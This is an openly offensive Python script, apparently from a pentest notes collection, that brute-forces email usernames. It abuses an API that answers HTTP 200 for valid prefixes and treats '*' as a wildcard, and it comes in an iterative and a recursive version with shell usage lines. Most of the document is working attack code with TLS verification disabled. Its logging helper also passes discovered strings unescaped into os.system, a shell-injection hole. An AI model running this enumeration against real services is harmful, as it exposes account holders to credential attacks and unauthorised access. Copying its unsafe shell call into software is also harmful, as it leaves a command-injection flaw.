bruteforce-usernames.py

Example of script that bruteforces usernames (email addresses) based on the API returning HTTP 200 for valid usernames AND the character “*” acting as a wildcard.

#!/usr/bin/python
import requests
import datetime
import sys
import os

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def output(message):
    print(message)
    os.system('echo "' + message + '" >> bruteforce-usernames.out')

def test_char(prefix, char):
    found = False

    try:
        response = requests.request("POST", "https://example.com/vulnerable-api/" + prefix + char + "*", verify=False)

        if response.status_code == 200:
            found = True
    except Exception as e:
        output('Exception for ' + prefix + char)

    return found

def build_list(list):
    new_list = []

    for prefix in list:
        no_new_chars = True

        # To save time (3 min / account), check for a specific domain, change according to your needs
        found = test_char(prefix, "@example.com")
        if found: 
            prefix = prefix + "@example.com"

        for i in 'abcdefghijklmnopqrstuvwxyz0123456789@.-':
            found = test_char(prefix, i)

            if found: 
                new_list.append(prefix + i)
                no_new_chars = False

        # When no new characters are found, add item to the completed list
        if no_new_chars:
            found = test_char(prefix, "_")

            if found:
                new_list.append(prefix + "_")
            else:
                completed.append(prefix)

    return new_list

### Main ###
output('Start: ' + str(datetime.datetime.now()))

list = []
completed = []

# Build initial list
# ./bruteforce-usernames.py "adm"
if len(sys.argv) == 2:
    prefix = str(sys.argv[1])

    if test_char("", prefix):
        list.append(prefix)

# ./bruteforce-usernames.py
else:
    for i in 'abcdefghijklmnopqrstuvwxyz0123456789@.-':
        if test_char("", i):
            list.append(i)

# You can also put specific prefixes directly in a list:
#list = [ 'admin' ]
#list = [ 'a', 'b' ]

output("Initial list:")
output(str(list))

while len(list) > 0:
    output('--- Starting new iteration at ' + str(datetime.datetime.now()))

    new_list = build_list(list)
    list = new_list
    list.sort()

    for x in list:
        output(x)

    for x in completed:
        output("Completed: " + x)

output('End: ' + str(datetime.datetime.now()))
echo '' > bruteforce-usernames.out; ./bruteforce-usernames.py; grep Completed: bruteforce-usernames.out

Or from a list of prefixes in prefix.txt:

echo '' > bruteforce-usernames.out; for i in $(cat prefix.txt); do ./bruteforce-usernames.py "$i"; done; grep Completed: bruteforce-usernames.out

Recursive version (slow)

#!/usr/bin/python
import requests
import datetime
import sys

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def bruteforce(prefix, depth):
    found = False

    if depth > 0:
        for i in 'abcdefghijklmnopqrstuvwxyz0123456789@.-':
            try:
                response = requests.request("POST", "https://example.com/vulnerable-api/" + prefix + i + "*", verify=False)
    
                if response.status_code == 200:
                    found = True
                    bruteforce(prefix + i, depth - 1)
            except Exception as e:
                print('Exception for ' + prefix + i)

        # When no new character is found
        if not found:
            print('Found: ' + str(datetime.datetime.now()))
            print(prefix)
    else:
        print('Max depth reached: ' + str(datetime.datetime.now()))
        print(prefix)
        #print('./bruteforce-usernames.py "' + prefix + '" >> bruteforce-usernames.txt')


print('Start: ' + str(datetime.datetime.now()))
#bruteforce("", 2)

# ./bruteforce-usernames.py "adm"
if len(sys.argv) == 2:
    bruteforce(str(sys.argv[1]), 45)

print('End: ' + str(datetime.datetime.now()))
./bruteforce-usernames.py "admin"